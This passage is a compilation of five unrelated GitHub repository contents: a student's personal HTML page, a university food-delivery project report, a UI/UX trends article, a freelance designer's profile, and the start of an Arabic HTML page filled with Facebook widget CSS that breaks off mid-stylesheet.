GitHub Repo
https://github.com/MaxronAllaren/MaxronAllaren.github.io
<!DOCTYPE html> <html lang="ru"> <head> <meta charset="utf-8" /> <title>My life </title> </head> <body> <!--Создаём таблицу контейнер, которой задаём следующее оформление: border="1" - рамка вокруг контейнера. Увеличив число, можно увеличить толщину рамки. align="center" - размещаем контейнер по центру экрана. rules="rows" - убираем двойную рамку. style="width:60%;" - добавляем стилевое свойства, делающее контейнер и весь сайт "резиновым". Сделать полноценный адаптивный дизайн, этим способом невозможно.--> <table border="2" align="center" rules="rows" <!--Создаём строку--> <tr> <!--Создаём ячейку строки--> <td> <!--ШАПКА САЙТА--> <!--В ячейке строки создаём ещё одну таблицу для шапки сайта. Оформление: border="1" - двойная рамка толщиной в 1px background="images/168.png" - картинка в шапке сайта, если требуется. Адрес картинки вы должны вставить свой. bgcolor="#7FFFD4" - фоновый цвет в шапке, если нет картинки. cellpadding="10" - отступ содержимого от рамки не менее 10px. style="width:100%; border-radius:5px;" - добавляем "резиновость" и закругляем уголки рамки--> <table border="1" background="images/168.png" bgcolor="#ed9121" cellpadding="10" style="width:100%; border-radius:5px;"> <!--Создаём строку таблицы--> <tr> <!--Создаём столбец таблицы--> <th> <!--Содержание ячейки столбца--> <h1>My life</h1> <h3>All about me</h3> <!--Закрываем таблицу--> </th> </tr> </table> <!--ОСНОВНОЙ КОНТЕНТ--> <!--В этой же ячейке контейнера создаём ещё одну таблицу для основного контента. Оформление как и в предыдущей таблице--> <table border="1" bgcolor="#ffa500" cellpadding="10" style="width:100%; border-radius:5px;"> <!--Создаём строку--> <tr> <!--Создаём ячейку Оформление: rowspan="2" - объединяем две ячейки в одну. Число объединяемых ячеек по числу ячеек в сайдбаре. style="width:80%" - основной контент занимает 80% всей площади, оставшиеся 20% для сайдбара--> <td rowspan="2" style="width:80%"> <h2>My personal form</h2> <!--Начинаем абзац с красной строки--> <p style="text-indent:20px"> I Aksenov Alexei Pavlovich.I am 19 years old. I am a student of college of communications № 54. I am studying for the specialty Infocommunication networks and communication systems.Just for the passage of the course mastered the classification. Before entering college, in a regional school I was actively engaged in swimming and have a grade 3 adult. After realizing that I want to have a Moscow education with a cadet bias, I soon moved to a Moscow school. It was a Moscow education with a Moscow school helped raise my grade point average and successfully pass the omega, which eventually helped me enter this specialty in college of communication № 54 Vostrukhina. </p> <p style="text-indent:20px">Along with teaching life I also do my hobbies like painting and music for the game server on the game DayZ, as well as creating new 3D things on the game engine Enfusion Engine for the game server DayZ "BlackWood". The working moments are in the "creativity"masonry .</p> <!--Закрываем ячейку--> </td> <!--САЙДБАР--> <!--Создаём ячейку сайдбара--> <td bgcolor="#ffa500"> <h3>Menu</h3> <!--Абзац для ссылки на страницу сайта--> <p> <!--Ссылка на страницу сайта--> <a href="https://sun9-62.userapi.com/impg/kLb9X9VRKHhgfVSDdW7Ub6sq8IHSZDWc1zPuKA/AkO75d9AB4Q.jpg?size=684x356&quality=96&sign=dcdcc28ad06cbd2d7f4b134c99b7f77c&type=album"> <!--Картинка маркера перед названием страницы--> <img src="http://trueimages.ru/img/00/06/f4fffdb5.png"> <!--Название страницы style="margin-left:5px;" - отступ названия от маркера--> <span style="margin-left:5px;">Creativity Enfusion Engine 3D</span></a> </p> <p> <a href="https://sun9-86.userapi.com/impg/Xl8TC1_RAXMZBKoEb3_CBIqA0ypAKYZ9pbrAqg/w8sSpcn0eE4.jpg?size=468x422&quality=96&sign=b4ab935dc723d675d616a13cd8d54c56&type=album"> <img src="http://trueimages.ru/img/00/06/f4fffdb5.png"> <span style="margin-left:5px;">Creativity 1 Enfusion Engine code</span;></a> </p> <p> <a href="https://sun9-87.userapi.com/impg/P19BS3-qowZmR2GV-8YkL5RIJBYPFfF_cVaFKA/FB4Yi84NHxE.jpg?size=1280x773&quality=96&sign=f2b674402c05cd84e17f91579b09a318&type=album"> <img src="http://trueimages.ru/img/00/06/f4fffdb5.png"> <span style="margin-left:5px;">Creativity 2 Art furry-shark</span;></a> </p> <p> <a href="https://sun9-27.userapi.com/impg/GkpSNHJLe114YkXu91LEVxU4G0ubp7L8DhctfQ/943e6eK4-X0.jpg?size=721x194&quality=96&sign=0a850bf0468c36491671e49a35fbaa45&type=album"> <img src=http://trueimages.ru/img/00/06/f4fffdb5.png> <span style="margin-left:5px;">Creativity 3 creativity music</span></a> </p> <!--Закрываем строку Меню--> </td> </tr> <!--Создаём строку с дополнительной информацией--> <tr> <!--Ячейка с дополнительной информацией--> <td bgcolor="d6ae01" align="center"> <h3>My account in spotify</h3> <p> We are very dependent on music and have a spotifae account that you can log in to https://open.spotify.com/user/4vfzi9yfmi49psdnc0o6t63gx?si=b6f04db4c53648aa .And i love warm colors</p> <!--Закрываем ячейку с общей информацией и таблицу основного контента--> </td> </tr> </table> <!--ПОДВАЛ--> <!--Создаём таблицу подвала--> <table border="1" bgcolor="#ed9121" height="100" cellpadding="10" style="width:100%; border-radius:5px;"> <!--Создаём строку.--> <tr> <!--Создаём столбец--> <th> <h3>End</h3> <!--Закрываем таблицу подвала. При желании в подвале можно сделать несколько строк и столбцов--> </th> </tr> </table> <!--Закрываем таблицу контейнера--> </td> </tr> </table> </body> </html>
GitHub Repo
https://github.com/fazril-25Java/Project-FoodNest
**KULLIYYAH OF INFORMATION AND COMMUNICATION TECHNOLOGY** **SEM 2 2020/2021** **INFO 2302** **SECTION 4** **Project Title: FoodNest Project** **GROUP MEMBERS** | **Name:** | **Matric No:** | **Email address:** | | --- | --- | --- | | Muhammad Fazril Bin Azam Busra | 1917135 | fazrilazam@gmail.com | | Raihana Husna Binti Mohd Ridzuan | 2015208 | raihanaxoxo@gmail.com | | Nurul Shahirah Binti Ahmad Fikri | 2013890 | shahirahfikri06@gmail.com | | Ahmed Jobaer | 1918243 | ajobaer08@gmail.com | | Muhammad Syahrul Amri Bin Suhaimi | 2018267 | amriamri008@gmail.com |  Group 1 'FoodNest Project' Prepared by Yyy (matricNo) and Aaa (matricNo) 'FoodNest Project' is a website for online food delivery based in Kuala Lumpur, Malaysia. **1.**** Project Description** FoodNest Project is a project created by BirdNest Sdn Bhd as a food ordering platform that offers so many types of food and cuisines from all around the world. We are ready to deliver to you by just one tap away and to satisfy you in fulfilling all your cravings! We are very committed to delivering sustainable development goals to end hunger and giving back to the societies. So, we are partnering with PERTIWI Soup Kitchen to provide a humanitarian food aid service to the homeless and hard-core poor. Our customer can choose to round up their total to pay to the nearest ringgit or they can direct bank transfer to our Maybank account: Persatuan Kebajikan FoodNest. All donations over RM50 will be issued a receipt for tax-exemption purposes. We will match every 1 ringgit to 2 ringgits of your donations. Together we will end world hunger. EVERY CENT COUNTS! **2.**** Project Sitemap**  **3.**** Group Contributions** Each of the team members prepared 4 web pages for the project as shown in the following table. | **Name** | **Contributions** | | --- | --- | | Raihana Husna Bt Mohd Ridzuan(2015208) | - Pages: Registration Page - Web elements: Navigation buttons, header, paragraph, table form, submit button, register button, age options, gender choices, date. - Added 3 table forms for the user to log in or register and fill out their payment details with the appropriate button for each of the table and a popup - JavaScript event handlers for a popup to appear if the form is incomplete | | Muhammad Fazril Bin Azam Busra(1917135) | - Pages: Home page, About, CatalogueA and Contacts - Web elements: Navigation buttons - Added 10 products in Catalogue A with appropriate styling - JavaScript event handlers for Add-To-Cart and storage of data using JSON | | Ahmed Jobaer(1918243) | - Pages: Food-Menu Page. - Web elements: Navigation buttons, food-menu section, add-to-cart and checkout section and footer. - Added 20 different food pictures with price and appropriate styling. - JavaScript event handlers for Add-To-Cart and checkout food. | | Muhammad Syahrul Amri Bin Suhaimi(2018267) | - Pages: Donation Page - Web elements: Navigation buttons, image, header, paragraph, forms, tables and submit button - Added project description, project sitemap, background picture for donation page, our donation logo and 2 table form for the users to fill the donation forms and payment method for the donation - JavaScript event handlers for a message of submitted and time stamp to appear after the form has been submitted | | Nurul Shahirah Binti Ahmad Fikri(2013890) | - Pages: Contact Us Page - Web elements: Navigation buttons, header, paragraph, table form and submit button. - Added name, contact number, email, maps, background picture and table form for the user to fill in any inquiries. - JavaScript event handlers for the submission of Contact Us form. | **4.**** Use of third party resources** | **Web elements** | **Name** | **Use of third party resources and modifications (if any)** | **Modifications (if any)** | | --- | --- | --- | --- | | Table form for registration page | Raihana Husna (2015208) | Button widgets (JQueryUI) are used in the Registration page. | Background colour of ui-button-widget in sign-in table formand background colour of ui-button-widget in registration table form | | | | | | | | | | | **5.**** References** The JQuery User Interface. Button widget. Copyright 2021 from [https://jqueryui.com/button/](https://jqueryui.com/button/) (raihana) The JQuery Foundation. Accordion Widget. Retrieved 10 October 2020 from [https://api.jqueryui.com/1.10/accordion/](https://api.jqueryui.com/1.10/accordion/) (example) Photographer Name. Pexels. Retrieved 10 October 2020 from [https://www.pexels.com/photo/men-sport-fitness-run-54334/](https://www.pexels.com/photo/men-sport-fitness-run-54334/) (example) ----------------------------------------------END OF REPORT---------------------------------------------
GitHub Repo
https://github.com/4fox123/LATEST-TRENDS-in-UI-UX---4Fox-Solutions
COVID has certainly changed the dynamics of the IT industry. As a businessman, one needs to cohere to the latest UI UX trends. UI/UX trends are altered based on the varying taste of the user. A user visits thousands of websites every day and as a businessman, everyone is trying to grab the attention of the visitor. Standing out from the competitors is hard to crack nowadays. The online platform that grabs the attention is the one that scores the game. A good design surely adds value and makes your customers visit you again. Though, the design is changing all the time. Each year, UI trends change, new features are introduced, and out-dated versions lose their way. So, you need to stay updated and keep your business up to date as well. In this article, we study the latest UI/UX trends that help you in your business growth. So let's dive into What is UI/UX? UI/UX is becoming a popular term and it’s also becoming better known in the industry. UX or User Experience essentially understands the customer their needs and designing an experience for the customer according to that which covers various aspects such as tech, such as understanding needs, what they see, what they experience with all their senses is what user experience is all about. A user experience with your site is known as User Experience. A UX/UI Designer is responsible for creating user-friendly interfaces and helps the clients to better understand the use of technological products UI or user interface is one part of the user experience, it’s one of the touch points the customer interfaces with, that is what they see and that’s what they touch now there is on touch devices or if it’s a computer then it’s something that you use online but that interface that communicated the brand or the service to the customer is the user interface and because that is a very important way or the very useful way to communicate with the customer, it plays a huge role in the communication of the service or the product to the customer. User Experience/ User Interface Design Trends Minimalism If we talk in terms of Design, then less is always more, a golden rule of website design. Limiting the number of colors, trying different proportions and compositions are good. It's because an average user sees many discount ads and gets constant notifications and the designer always try to simplify the way they present information. Simplified UX Avoid inserting extra steps which users found non-mandatory. Try to minimize the elements. Now the latest UX is Simplified registration and sign-in. Users don't want to remember extra passwords, so making use of their phone number as a password is a bit simplified. If you can omit unnecessary steps, do it. If you can omit some fields in the form, do it. Blurred, colorful background User Interface design helps to make the website more stylish, elegant, and eye-soothing. In earlier use, 2-3 colors in linear gradients were in trend but now it goes up to 10. In short, an overlay is trending now. However, you need to be careful while playing with the gradients. Neomorphism Neomorphism is gaining popularity because of its subtle yet original appearance that merges skeuomorphism with flat design. At present, the main purpose of products is to produce different user interface items utilizing geomorphic. Unique and absurd 2D illustrations 2D illustrations contribute to several aspects of design in production, including Environment design, Prop design, PreVis design, drawers, clean-up, rotations, and color design. Illustrations stay on top of user interface trends. It is getting fancier with time. The picture quality is in SVG format because like other formats such as PNG, GIF, and JPEG the picture quality is damaged when we increase the screen resolution and this is not the issue in SVG format. Because the vector format can be increased and decreased with no loss in quality. (VUI )Voice User Interface Users may use voice commands to engage with a UI or to talk. A voice-activated interface prevents consumers from using the interface. UX design teams compete with the latest upgrades and advances in this industry more than ever before. VUI is widely used in apps for translation. It hears in your language and translates into the language you want. ALEXA, SIRI is the best example of a voice user interface. With VUI you can easily communicate with people who do not know your language. Mobile-first approach Never ignore mobile accessibility as almost a 5.27billion people use a mobile phone and the chances of using social media platforms are 90%. So what if you ignore mobile visibility and more focus on the desktop appearance of your website? In this case, you lose a large amount of audience from your end. So always use the mobile approach in mind and create and design your website accordingly. Icons Icons are generally visually expressing objects, actions, and ideas. To communicate with the user we need different UI/UX. There are different picture representations of icons that are visually appealing. Conveying meaning in less space and creative ways is more powerful. Choose icons from the same family as they are the same size. It is also vital to understand that not all UX design trends are required for a product or website. The usefulness could only be complicated. We would rather keep up with the trends and only use them if they match the needs of your users and are likely to be working for your company. Synopsis: In 2021, design is something less complicated, more diverse, delightful, and satisfactory. Make sure you adhere to all these trends for reaching out to the million customers out there. Hope these trends are helpful for you to know where we stand in UI/UX nowadays. UI/UX design is to help users achieve their goals. Always ensure the design is relevant and valuable for consumers.
GitHub Repo
https://github.com/shahshamim01/Shah-Md.-Afsaruddin-Shamim-
Hi, my name is Shah. I am a Graphic Designer. I have 5 years and counting doing annotations on different online tools and platforms like LabelMe, Labelbox, SCALEai, Darwin, Etc . Expertise in the following annotation Bounding box, Polygon, Lidar, Data Mining, Aerial, Segmentation, Categorization, Image, and Video annotation. Detection Classes: * Bicycle * Bus * Car * Cat * Dog * License plate * Motorcycle * Person * Truck * Trailer * CATV COFO * Telco COFO * Telco Fiber Splice Case * Telco Terminal Splice Case * Telco fiber Splice Case * Telco J Hook * AMI Transmitter * Communication Terminal * Power Meter * CATV Expansion Loop * CATV Drop Tap * Telco Pedestal * CATV Pedestal * CATV Amplifier * ADSS Tangent * Telco P Clamp * Telco Drop Tools and output: #LabelMe #supervisely #gimp #YOLO #json #itk snap #CoCo annotator #Madewithvuejs #Labelbox I will professionally resize your images and remove backgrounds within 24 hours. Editing Type Background Removal File Format JPEG, PNG, PSD, RAW TIFF - Background Removed - Photo Edit - Photoshop - Illustration - Graphic Design - Elegant PowerPoint template - Innovative logo design - Website Design - High-quality illustration - Unique greeting card - App screen designing - Eye-catching banner - Unique brochure/flyer - T-Shirt design - Business card - Corporate Identity - Stationery - Label - Package Design - Advertising Material - Brand Identity - Book Cover - DVD/CD covers I am full Experienced in doing all Types of graphics and can work on Adobe illustrator, Photoshop.
GitHub Repo
https://github.com/mostafabolhcen/mostafa
<div dir="rtl" style="text-align: right;" trbidi="on"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://ogp.me/ns#"><head> <title> </title> <link href="http://im32.gulfup.com/3fkQ0.png" rel="icon" type="image/x-icon"></link> <style> HTML,BODY{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/tail2.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/tail2.gif"), auto;} </style><style type="text/css">.fb_hidden{position:absolute;top:-10000px;z-index:10001} .fb_invisible{display:none} .fb_reset{background:none;border:0;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal} .fb_reset > div{overflow:hidden} .fb_link img{border:none} .fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001} .fb_dialog_advanced{padding:10px;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px} .fb_dialog_content{background:#fff;color:#333} .fb_dialog_close_icon{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif);cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px;top:8px\9;right:7px\9} .fb_dialog_mobile .fb_dialog_close_icon{top:5px;left:5px;right:auto} .fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1} .fb_dialog_close_icon:hover{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif)} .fb_dialog_close_icon:active{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif)} .fb_dialog_loader{background-color:#f2f2f2;border:1px solid #606060;font-size:24px;padding:20px} .fb_dialog_top_left, .fb_dialog_top_right, .fb_dialog_bottom_left, .fb_dialog_bottom_right{height:10px;width:10px;overflow:hidden;position:absolute} .fb_dialog_top_left{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 0;left:-10px;top:-10px} .fb_dialog_top_right{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -10px;right:-10px;top:-10px} .fb_dialog_bottom_left{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -20px;bottom:-10px;left:-10px} .fb_dialog_bottom_right{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -30px;right:-10px;bottom:-10px} .fb_dialog_vert_left, .fb_dialog_vert_right, .fb_dialog_horiz_top, .fb_dialog_horiz_bottom{position:absolute;background:#525252;filter:alpha(opacity=70);opacity:.7} .fb_dialog_vert_left, .fb_dialog_vert_right{width:10px;height:100%} .fb_dialog_vert_left{margin-left:-10px} .fb_dialog_vert_right{right:0;margin-right:-10px} .fb_dialog_horiz_top, .fb_dialog_horiz_bottom{width:100%;height:10px} .fb_dialog_horiz_top{margin-top:-10px} .fb_dialog_horiz_bottom{bottom:0;margin-bottom:-10px} .fb_dialog_iframe{line-height:0} .fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #3b5998;color:#fff;font-size:14px;font-weight:bold;margin:0} .fb_dialog_content .dialog_title > span{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yd/r/Cou7n-nqK52.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px} body.fb_hidden{-webkit-transform:none;height:100%;margin:0;overflow:visible;position:absolute;top:-10000px;left:0;width:100%} .fb_dialog.fb_dialog_mobile.loading{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ya/r/3rhSv5V8j3o.gif) white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001} .fb_dialog.fb_dialog_mobile.loading.centered{max-height:590px;min-height:590px;max-width:500px;min-width:500px} #fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .45);position:absolute;left:0;top:0;width:100%;min-height:100%;z-index:10000} #fb-root #fb_dialog_ipad_overlay.hidden{display:none} .fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden} .fb_dialog_content .dialog_header{-webkit-box-shadow:white 0 1px 1px -1px inset;background:-webkit-gradient(linear, 0% 0%, 0% 100%, from(#738ABA), to(#2C4987));border-bottom:1px solid;border-color:#1d4088;color:#fff;font:14px Helvetica, sans-serif;font-weight:bold;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap} .fb_dialog_content .dialog_header table{-webkit-font-smoothing:subpixel-antialiased;height:43px;width:100% } .fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px } .fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px } .fb_dialog_content .touchable_button{background:-webkit-gradient(linear, 0% 0%, 0% 100%, from(#4966A6), color-stop(0.5, #355492), to(#2A4887));border:1px solid #29447e;-webkit-background-clip:padding-box;-webkit-border-radius:3px;-webkit-box-shadow:rgba(0, 0, 0, .117188) 0 1px 1px inset, rgba(255, 255, 255, .167969) 0 1px 0;display:inline-block;margin-top:3px;max-width:85px;line-height:18px;padding:4px 12px;position:relative} .fb_dialog_content .dialog_header .touchable_button input{border:none;background:none;color:#fff;font:12px Helvetica, sans-serif;font-weight:bold;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0} .fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle} .fb_dialog_content .dialog_content{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/y9/r/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #555;border-bottom:0;border-top:0;height:150px} .fb_dialog_content .dialog_footer{background:#f2f2f2;border:1px solid #555;border-top-color:#ccc;height:40px} #fb_dialog_loader_close{float:left} .fb_dialog.fb_dialog_mobile .fb_dialog_close_button{text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0} .fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden} .fb_iframe_widget{display:inline-block;position:relative} .fb_iframe_widget span{display:inline-block;position:relative;text-align:justify} .fb_iframe_widget iframe{position:absolute} .fb_iframe_widget_lift{z-index:1} .fb_hide_iframes iframe{position:relative;left:-10000px} .fb_iframe_widget_loader{position:relative;display:inline-block} .fb_iframe_widget_fluid{display:inline} .fb_iframe_widget_fluid span{width:100%} .fb_iframe_widget_loader iframe{min-height:32px;z-index:2;zoom:1} .fb_iframe_widget_loader .FB_Loader{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/y9/r/jKEcVPZFk-2.gif) no-repeat;height:32px;width:32px;margin-left:-16px;position:absolute;left:50%;z-index:4} .fb_connect_bar_container div, .fb_connect_bar_container span, .fb_connect_bar_container a, .fb_connect_bar_container img, .fb_connect_bar_container strong{background:none;border-spacing:0;border:0;direction:ltr;font-style:normal;font-variant:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal;vertical-align:baseline} .fb_connect_bar_container{position:fixed;left:0 !important;right:0 !important;height:42px !important;padding:0 25px !important;margin:0 !important;vertical-align:middle !important;border-bottom:1px solid #333 !important;background:#3b5998 !important;z-index:99999999 !important;overflow:hidden !important} .fb_connect_bar_container_ie6{position:absolute;top:expression(document.compatMode=="CSS1Compat"? document.documentElement.scrollTop+"px":body.scrollTop+"px")} .fb_connect_bar{position:relative;margin:auto;height:100%;width:100%;padding:6px 0 0 0 !important;background:none;color:#fff !important;font-family:"lucida grande", tahoma, verdana, arial, sans-serif !important;font-size:13px !important;font-style:normal !important;font-variant:normal !important;font-weight:normal !important;letter-spacing:normal !important;line-height:1 !important;text-decoration:none !important;text-indent:0 !important;text-shadow:none !important;text-transform:none !important;white-space:normal !important;word-spacing:normal !important} .fb_connect_bar a:hover{color:#fff} .fb_connect_bar .fb_profile img{height:30px;width:30px;vertical-align:middle;margin:0 6px 5px 0} .fb_connect_bar div a, .fb_connect_bar span, .fb_connect_bar span a{color:#bac6da;font-size:11px;text-decoration:none} .fb_connect_bar .fb_buttons{float:right;margin-top:7px} .fbpluginrecommendationsbarleft, .fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999} .fbpluginrecommendationsbarleft{left:10px} .fbpluginrecommendationsbarright{right:10px}</style><style type="text/css">.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_invisible{display:none}.fb_reset{background:none;border:0;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}.fb_link img{border:none} .fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}.fb_reset .fb_dialog_legacy{overflow:visible}.fb_dialog_advanced{padding:10px;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}.fb_dialog_content{background:#fff;color:#333}.fb_dialog_close_icon{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif);cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px}.fb_dialog_mobile .fb_dialog_close_icon{top:5px;left:5px;right:auto}.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}.fb_dialog_close_icon:hover{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif)}.fb_dialog_close_icon:active{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent;_background-image:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yL/r/s816eWC-2sl.gif)}.fb_dialog_loader{background-color:#f2f2f2;border:1px solid #606060;font-size:24px;padding:20px}.fb_dialog_top_left,.fb_dialog_top_right,.fb_dialog_bottom_left,.fb_dialog_bottom_right{height:10px;width:10px;overflow:hidden;position:absolute}.fb_dialog_top_left{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 0;left:-10px;top:-10px}.fb_dialog_top_right{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -10px;right:-10px;top:-10px}.fb_dialog_bottom_left{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -20px;bottom:-10px;left:-10px}.fb_dialog_bottom_right{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ye/r/8YeTNIlTZjm.png) no-repeat 0 -30px;right:-10px;bottom:-10px}.fb_dialog_vert_left,.fb_dialog_vert_right,.fb_dialog_horiz_top,.fb_dialog_horiz_bottom{position:absolute;background:#525252;filter:alpha(opacity=70);opacity:.7}.fb_dialog_vert_left,.fb_dialog_vert_right{width:10px;height:100%}.fb_dialog_vert_left{margin-left:-10px}.fb_dialog_vert_right{right:0;margin-right:-10px}.fb_dialog_horiz_top,.fb_dialog_horiz_bottom{width:100%;height:10px}.fb_dialog_horiz_top{margin-top:-10px}.fb_dialog_horiz_bottom{bottom:0;margin-bottom:-10px}.fb_dialog_iframe{line-height:0}.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #3b5998;color:#fff;font-size:14px;font-weight:bold;margin:0}.fb_dialog_content .dialog_title>span{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/yd/r/Cou7n-nqK52.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}body.fb_hidden{-webkit-transform:none;height:100%;margin:0;overflow:visible;position:absolute;top:-10000px;left:0;width:100%}.fb_dialog.fb_dialog_mobile.loading{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/ya/r/3rhSv5V8j3o.gif) white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}.fb_dialog.fb_dialog_mobile.loading.centered{max-height:590px;min-height:590px;max-width:500px;min-width:500px}#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .45);position:absolute;left:0;top:0;width:100%;min-height:100%;z-index:10000}#fb-root #fb_dialog_ipad_overlay.hidden{display:none}.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}.fb_dialog_content .dialog_header{-webkit-box-shadow:white 0 1px 1px -1px inset;background:-webkit-gradient(linear, 0% 0%, 0% 100%, from(#738ABA), to(#2C4987));border-bottom:1px solid;border-color:#1d4088;color:#fff;font:14px Helvetica, sans-serif;font-weight:bold;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}.fb_dialog_content .dialog_header table{-webkit-font-smoothing:subpixel-antialiased;height:43px;width:100%}.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px}.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px}.fb_dialog_content .touchable_button{background:-webkit-gradient(linear, 0% 0%, 0% 100%, from(#4966A6), color-stop(.5, #355492), to(#2A4887));border:1px solid #29447e;-webkit-background-clip:padding-box;-webkit-border-radius:3px;-webkit-box-shadow:rgba(0, 0, 0, .117188) 0 1px 1px inset, rgba(255, 255, 255, .167969) 0 1px 0;display:inline-block;margin-top:3px;max-width:85px;line-height:18px;padding:4px 12px;position:relative}.fb_dialog_content .dialog_header .touchable_button input{border:none;background:none;color:#fff;font:12px Helvetica, sans-serif;font-weight:bold;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}.fb_dialog_content .dialog_content{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/y9/r/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #555;border-bottom:0;border-top:0;height:150px}.fb_dialog_content .dialog_footer{background:#f2f2f2;border:1px solid #555;border-top-color:#ccc;height:40px}#fb_dialog_loader_close{float:left}.fb_dialog.fb_dialog_mobile .fb_dialog_close_button{text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden} .fb_iframe_widget{display:inline-block;position:relative}.fb_iframe_widget span{display:inline-block;position:relative;text-align:justify}.fb_iframe_widget iframe{position:absolute}.fb_iframe_widget_lift{z-index:1}.fb_hide_iframes 